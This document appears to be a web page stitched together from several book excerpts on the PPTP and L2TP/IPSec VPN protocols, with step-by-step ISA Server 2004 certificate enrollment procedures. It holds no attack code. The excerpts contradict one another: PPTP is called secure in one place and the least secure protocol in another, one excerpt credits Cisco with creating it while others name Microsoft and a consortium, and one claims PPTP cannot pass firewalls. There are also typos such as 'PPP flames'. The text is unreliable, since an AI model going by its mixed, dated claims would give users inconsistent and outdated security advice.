Which authentication protocol is the least secure and therefore should not be used?

PPTP

PPTP is the oldest and most common VPN protocol. PPTP is based on the Point-to-Point Protocol (PPP), which is typically used for dial-up connections. PPTP encapsulates PPP frames into IP packets, encrypts the data, and transmits them over the Internet.

PPTP in Windows Server 2003 is based on the existing PPP infrastructure and supports the same authentication methods as PPP, such as the Password Authentication Protocol (PAP) and Microsoft Challenge Handshake Authentication Protocol (MS-CHAP). When a higher-level authentication method is used, PPTP supports Microsoft Point-to-Point Encryption (MPPE), a strong method of encrypting VPN traffic before allowing it to traverse the public network.

PPTP/MPPE

The PPTP Forum, a joint venture between Microsoft and several other companies with interests in remote access technology (3COM, U.S. Robotics, Ascend, and ECI Telematics), developed the PPTP. Microsoft first introduced PPTP with Windows NT 4.0 Beta Release 2. PPTP transmits data over a TCP/IP connection by encapsulating PPP flames in IP data-grams. PPTP works with remote access connections (remote client calling remote access server) or with router-to-router VPN connections. There are two components to a PPTP connection. First, a TCP connection handles tunnel management on TCP port number 1723. Next, a modified version of the Generic Route Encapsulation (GRE) protocol packages PPP flames for encapsulated tunnel data. The encapsulated tunnel data may either be encrypted, compressed, or both. PPTP can use any of the authentication schemes that are supported by PPE

The version of PPTP that ships with Windows Server 2003 is PPTP version 2. After its release, several security vulnerabilities were discovered in Microsoft’s original implementation of PPTP, which prompted a revamping of this protocol. The PPTPv2 protocol supports 40-bit and 128-bit encryption. PPTP is documented by the IETF in RFC 2637. This RFC specifies “a protocol which allows the Point to Point Protocol (PPP) to be tunneled through an IP network”

PPTP does not specify any changes to the PPP protocol, but rather describes a new vehicle for carrying PPP. The basic simplicity of PPTP is one of its biggest advantages because PPTP operation is not based on a certificate infrastructure. Also, a Network Address Translator (NAT) can translate PPTP traffic and consequently will allow PPTP traffic streams to be directed through routers or corporate firewalls. PPTP is also capable of car-rying non-IP traffic, making it ideal for applications where legacy network transports such as IPX/SPX, NetBEUI, AppleTalk, or others may be required.

Microsoft’s PPTP uses MPPE to encrypt the data in a PPTP VPN, providing the security for the data that travels between the VPN client and server. Although PPTP itself can use any PPP authentication mechanism, MPPE requires encryption keys generated by MS-CHAP v1 or v2, or EAP-TLS. The remote access server can be configured to require data encryption, or it can be configured to use optional encryption (in which case a connection will be made even if the client does not support encryption).

PPTP

PPTP was developed by Microsoft as an extension to PPP and is now defined in RFC 2637 (with errata). It is a Layer 2 tunneling protocol, meaning that the payload is the Layer 2 frame itself, encrypted and preceded by a small PPTP header based on extensions to the generic routing encapsulation (GRE) header described in RFC 2784. This frame, with header and trailer, is placed inside another packet and sent over the network between what PPTP calls a PPTP access concentrator (PAC) and a PPTP network server (PNS).

PPTP is a client/server protocol with the PAC as the client and the PNS as the server. Control messages are exchanged over TCP port 1723. Encryption is provided by underlying PPP mechanisms. Encryption keys are generated from the authentication process, which normally uses the Challenge Handshake Authentication Protocol (CHAP)—a three-way handshake using encrypted passwords (defined in RFC 1994).

In PPTP, PPP uses compressed data, which is not a form of encryption but does present an obstacle to unsophisticated hackers who only dabble in eavesdropping. The GRE encapsulated data are secure. PPTP is still widely used today, often in conjunction with some type of user authentication token such as an RSA SecurID numerical pass-code generator. Users dial in to the PAC and log in using the passcode, which changes every 30 seconds. Dial-in connections are usually very secure because they can follow any path over the PSTN and use any PAC port available. PPTP covers communication between the PAC (which might be supporting traveling sales agents on the east coast) and the main network with the PNS (which might be on the west coast). In addition to controlling costs, PPTP used this way can use a VPN setup for that purpose.

Today, home workers with DSL often use PPTP to tunnel through the ISP’s unsecure network to reach the relative security of the organization’s more protective environment. Additional security is needed to reach the PAC from the user location. Between PAC and PNS, a VPN tunnel itself can be built using double encryption; that is, taking the PPTP data and encrypting it once again. It all depends on how paranoid the organization is (as the doomed Kurt Cobain noted, just because you’re paranoid doesn’t mean they’re not out to get you).

Traditional PPTP VPN

PPTP is still supported by Windows Server 2012, although it is considered the least secure of all the supported VPN protocols. PPTP was developed by Microsoft, Ascend, 3Com, and other vendors to provide a secure remote access solution supported by Microsoft Dial-up Networking in Windows 95 OSR2, and defined by RFC 2637.1 It uses the Point-to-Point Protocol (PPP) to authenticate the packets and Microsoft Point-to-Point Encryption (MPPE) to encrypt the PPP payload. MPPE is defined by RFC 3078.2

Vulnerabilities in the underlying protocols have led to the recommendation by Microsoft that PPTP VPNs be replaced by one of the more secure types. Tunneled traffic in a PPTP VPN can be authenticated by various means, including PAP, CHAP, MS-CHAPv1, MS-CHAPv2, or EAP/TLS. If a PPTP VPN is to be used, the most secure method is to use the Extensible Authentication Protocol/Transport Layer Security (EAP-TLS) for authentication. However, this requires a PKI for client and server certificates, which negates the primary advantage of PPTP as a VPN protocol: the simplicity of implementation.

If you do deploy a PPTP VPN, you would need to configure your edge firewall to allow PPTP communications from and to the external NIC on the VPN server. These communications typically use TCP port 1723; so, you will need to make sure your edge firewall allows traffic to and from that port, and you will also need to allow Generic Route Encapsulation (GRE) protocol 47.

Point-to-Point Tunneling Protocol Virtual Private Network

PPTP was created in the 1990s by Microsoft, Ascend, 3COM, and a few other vendors, in order to try and serve the user community. This VPN protocol allowed for easy implementation with Windows machines because it was included in Windows. It made for fairly secure transmissions, though not as secure as IPsec. Although Microsoft has a great deal of influence in the computing arena, the IPsec and L2TP protocols are the standards-based protocols that most vendors use for VPNs.

Under PPTP, Microsoft has implemented Microsoft Point-to-Point Encryption (MPPE) Protocol, which allows encryption keys of 40–128 bits. The latest updates were done in 2003 to strengthen the security of this protocol. A great excerpt from Microsoft TechNet for Windows NT 4.0 or higher Server explains the process of PPTP extremely well; check out http://technet.microsoft.com/en-us/library/cc768084.aspx for more information.

L2TP/IPSec

IPSec and PPTP work only with TCP/IP networks. If the WAN over which remote traffic will be traveling uses another protocol (for example, X.25, Frame Relay, or ATM), then neither IPSec nor PPTP is a viable solution. Layer 2 Tunneling Protocol (L2TP), which is suppported by both Microsoft and Apple, functions over the alternative WAN protocols, as well as IP. When used with IP, it provides tunneling over the Internet.

In contrast to PPTP, which uses TCP, L2TP uses UDP datagrams to control its tunneling. Each PPP frame is encapsulated by L2TP, then by UDP, and finally by IP.

L2TP can work with IPSec to provide end-to-end security. The combination—known as L2TP/IPSec, uses IPSec encryption to encode the PPP data field. Because IPSec establishes an SA before beginning transfer of any message packets, the encryption is in place prior to the beginning of PPP user authentication. This ensures that the user name and password are encrypted, rather than being sent in the clear as they are with PPTP. However, the IPSec authentication does require that mechanisms for CAs be in place.

L2TP has problems getting through routers with NAT. However, if both the client and VPN server are running IPSec NAT traversal (NAT-T), then NAT will function.

Issue Certificates to the ISA Firewall and VPN Clients

You can significantly improve the level of security on your VPN connections by using the L2TP/IPSec VPN protocol. The IPSec encryption protocol provides a number of security advantages over the Microsoft Point-to-Point Encryption (MPPE) protocol used to secure PPTP connections. While the ISA firewall supports using a pre-shared key to support the IPSec encryption process, this should be considered a low-security option and should be avoided if possible.

WARNING

While PPTP and MPPE are secure VPN protocols that can be used by organizations that do not want to use PKI and L2TP/IPSec, the level of security provided by PPTP/MPPE is directly related to the complexity of the user credentials and the PPP user authentication protocol. You should use only complex user passwords with MS-CHAPv2 or EAP user certificate authentication.

However, if you just aren't in the position to roll out a PKI, then a pre-shared key for L2TP/IPSec is still a viable option. Just be aware that it lowers the level of security for your L2TP/IPSec connections compared to those created using machine certificates. The secure IPSec solution is to use computer certificates on the VPN server and VPN clients. We'll discuss using pre-shared keys after going through the procedures for using certificate authentication for the L2TP/IPSec connection.

The first step is to issue a computer certificate to the ISA firewall. There are a number of methods you can use to request a computer certificate. In the following example, we will use the Certificates stand-alone MMC snap-in. Note that you can only use the Certificate MMC snap-in when the ISA firewall is a member of the same domain where an enterprise CA is installed. If the ISA firewall is not a member of a domain where there is an enterprise CA, then you can use the Web enrollment site to obtain a machine certificate.

In order for the stand-alone MMC snap-in to communicate with the certificate authority, we will need to enable an“all open” rule that allows all traffic from the Local Host network to the Internet network. We will disable this rule after the certificate request is complete.

Perform the following steps on the ISA 2004 firewall to request a certificate from the enterprise CA on the Internal network:

In the Microsoft Internet Security and Acceleration Server 2004 management console, expand the server name in the left pane, and then click the Firewall Policy node. Click the Tasks tab in the Task pane, and then click Create New Access Rule.

On the Welcome to the New Access Rule Wizard page, enter a name for the rule in the Access Rule name text box. In this example, we will enter All Open from Local Host to Internal. Click Next.

On the Rule Action page, select Allow, and click Next.

On the Protocols page, accept the default selection, All outbound traffic, and click Next.

On the Access Rule Sources page, click Add. In the Add Network Entities dialog box, click the Networks folder. Double-click Local Host, and click Close.

On the Access Rule Destinations page, click Add. In the Add Network Entities dialog box, click the Networks folder. Double-click Internal, and click Close.

On the User Sets page, accept the default setting, All Users, and click Next.

Click Finish on the Completing the New Access Rule Wizard page.

Right-click the All Open from Local Host to Internal Access Rule, and click the Configure RPC Protocol command.

In the Configure RPC protocol policy dialog box, remove the checkmark from the Enforce strict RPC compliance checkbox. Click Apply, and then click OK.

In the Microsoft Internet Security and Acceleration Server 2004 management console, expand the Configuration node, and click on the Add-ins node. Right-click on the RPC Filter entry in the Details pane, and click Disable.

In the ISA Server Warning dialog box, select Save the changes and restart the services. Click OK.

Click Apply to save the changes and update the firewall policy.

Click OK in the Apply New Configuration dialog box.

Click Start and the Run command. Enter mmc in the Open text box, and click OK.

In Console1, click the File menu and the Add/Remove Snap-in command.

In the Add/Remove Snap-in dialog box, click Add.

In the Add Standalone Snap-in dialog box, select the Certificates entry from the Available Standalone Snap-ins list. Click Add.

On the Certificates snap-in page, select Computer account.

On the Select Computer page, select Local computer.

Click Close in the Add Standalone Snap-in dialog box.

Click OK in the Add/Remove Snap-in dialog box.

In the left pane of the console, expand Certificates (Local Computer) and click on Personal. Right-click on the Personal node. Point to All Tasks, and click Request New Certificate.

Click Next on the Welcome to the Certificate Request Wizard page.

On the Certificate Types page, select the Computer entry in the Certificate types lists, and click Next.

On the Certificate Friendly Name and Description page, enter a name in the Friendly name text box. In this example, enter Firewall Computer Certificate,. Click Next.

Click Finish on the Completing the Certificate Request Wizard page.

Click OK in the dialog box informing you that the certificate request was successful.

Return to the Microsoft Internet Security and Acceleration Server 2004 management console, and expand the computer name in the left pane. Click on the Firewall Policy node. Right-click on the All Open from Local Host to Internal Access Rule, and click Disable.

In the Microsoft Internet Security and Acceleration Server 2004 management console, expand the Configuration node, and click on the Add-ins node. Right-click on the RPC Filter entry in the Details pane, and click Enable.

Click Apply to save the changes and update the firewall policy

In the ISA Server Warning dialog box, select Save the changes and restart the services. Click OK.

Click OK in the Apply New Configuration dialog box.

TIP

If you do not disable the RPC filter before attempting to request a certificate from the Certificates MMC, the certificate request will fail. If you then disable the RPC filter after requesting the certificate, the request will fail again. You will need to restart the ISA firewall in order to request the certificate. The moral of this story? Do not request the certificates from the Certificates MMC before you disable the RPC filter.

Note that you will not need to manually copy the enterprise CA certificate into the ISA firewall's Trusted Root Certification Authorities certificate store because CA certificate is automatically installed on domain members. If the firewall were not a member of the domain where an enterprise CA is installed, then you would need to manually place the CA certificate into the Trusted Root Certification Authorities certificate store.

TIP

Check out the ISA Server 2000 VPN Deployment Kit documentation for detailed information on how to obtain certificates using the Web enrollment site and how to import the CA certificate into the ISA firewall's Trusted Root Certification Authorities machine certificate store. Find the Kit at the ISAserver.org Web site at http://www.isaserver.org/articles/isa2000vpndeploymentkit.html

The next step is to issue a computer certificate to the VPN client computer. In this example, the VPN client machine is not a member of the domain. You need to request a computer certificate using the enterprise CA's Web enrollment site and manually place the enterprise CA certificate into the client's Trusted Root Certification Authorities machine certificate store. The easiest way to accomplish this is to have the VPN client machine request the certificate when connected via a PPTP link.

NOTE

In a production environment, untrusted client machines must not be issued computer certificates. Only managed computers should be allowed to install computer certificates. Domain members are managed clients and, therefore, under the organization's administrative control. We strongly encourage you to not allow users to install their own certificates on unmanaged machines. The computer certificate is a security principle and is not meant to provide free access to all users who wish to have one.

Perform the following steps to request and install the CA certificate:

Establish a PPTP VPN connection to the ISA firewall.

Open Internet Explorer. In the Address bar, enter http://10.0.0.2/certsrv (where 10.0.0.2 is the IP address of the CA on the Internal Network), and click OK.

In the Enter Network Password dialog box, enter Administrator in the User Name text box and enter the Administrator's password in the Password text box. Click OK.

Click Request a Certificate on the Welcome page.

On the Request a Certificate page, click advanced certificate request.

On the Advanced Certificate Request page, click Create and submit a request to this CA.

On the Advanced Certificate Request page, select the Administrator certificate from the Certificate Template list. Place a checkmark in the Store certificate in the local computer certificate store checkbox. Click Submit.

Click Yes in the Potential Scripting Violation dialog box.

On the Certificate Issued page, click Install this certificate.

Click Yes on the Potential Scripting Violation page.

Close the browser after viewing the Certificate Installed page.

Click Start, and then click Run. Enter mmc in the Open text box, and click OK.

In Console1, click the File menu, and click the Add/Remove Snap-in command.

Click Add in the Add/Remove Snap-in dialog box.

In the Add Standalone Snap-in dialog box, select the Certificates entry from the Available Standalone Snap-ins list. Click Add.

Select Computer account on the Certificates snap-in page.

Select Local computer on the Select Computer page.

Click Close in the Add Standalone Snap-in dialog box.

Click OK in the Add/Remove Snap-in dialog box.

In the left pane of the console, expand Certificates (Local Computer) Personal. Click on \Personal\Certificates. Double-click on Administrator certificate in the right pane of the console.

In the Certificate dialog box, click Certification Path. At the top of the certificate hierarchy seen in the Certification path frame is the root CA certificate. Click the EXCHANGE2003BE certificate at the top of the list. Click View Certificate.

In the CA certificate's Certificate dialog box, click the Details tab. Click Copy to File.

Click Next on the Welcome to the Certificate Export Wizard page.

On the Export File Format page, select Cryptographic Message Syntax Standard – PKCS #7 Certificates (.P7B), and click Next.

On the File to Export page, enter c:\cacert in the File name text box. Click Next.

Click Finish on the Completing the Certificate Export Wizard page.

Click OK in the Certificate Export Wizard dialog box.

Click OK in the Certificate dialog box. Click OK again in the Certificate dialog box.

In the left pane of the console, expand the Trusted Root Certification Authorities node, and click Certificates. Right-click \Trusted Root Certification Authorities\Certificates. Point to All Tasks, and click Import.

Click Next on the Welcome to the Certificate Import Wizard page.

On the File to Import page. Use the Browse button to locate the CA certificate you saved to the local hard disk, and click Next.

On the Certificate Store page, accept the default settings, and click Next.

On the Completing the Certificate Import Wizard page, click Finish.

In the Certificate Import Wizard dialog box informing you that the import was successful, click OK.

Disconnect from the VPN server. Right-click on the connection icon in the system tray, and click Disconnect.

PPTP and L2TP

The Point-to-Point Tunneling Protocol (PPTP) tunnels PPP via IP. A consortium of vendors, including Microsoft, 3COM, and others, developed it. PPTP uses Generic Routing Encapsulation (GRE) to pass PPP via IP, and uses TCP for a control channel (using TCP port 1723).

The Layer 2 Tunneling Protocol (L2TP) combines PPTP and Layer 2 Forwarding (L2F), designed to tunnel PPP. L2TP focuses on authentication and does not provide confidentiality; it is frequently used with IPsec to provide encryption. Unlike PPTP, L2TP can also be used on non-IP networks, such as ATM.

PPTP

The Point-to-Point Tunneling Protocol (PPTP) was created by Cisco and then widely deployed by Microsoft. By adding the Generic Routing Encapsulation (GRE) protocol to the standard point-to-point protocol (PPP) and authenticating with MSCHAP-v2 (Microsoft Challenge-Handshake Authentication Protocol), a stable, reasonably secure connection is created. The primary weakness with PPTP is the authentication protocol. MSCHAP-v2 can be easily compromised if a strong, long password is not used. PPTP has been used since Windows 95 OSR2 and is currently available on all major operating systems. You will find VPNs that support PPTP, but it is generally only used between desktops and the appliances, not between appliances themselves. PPTP cannot be used through a firewall, in most cases. Details can be found in RFC 2637.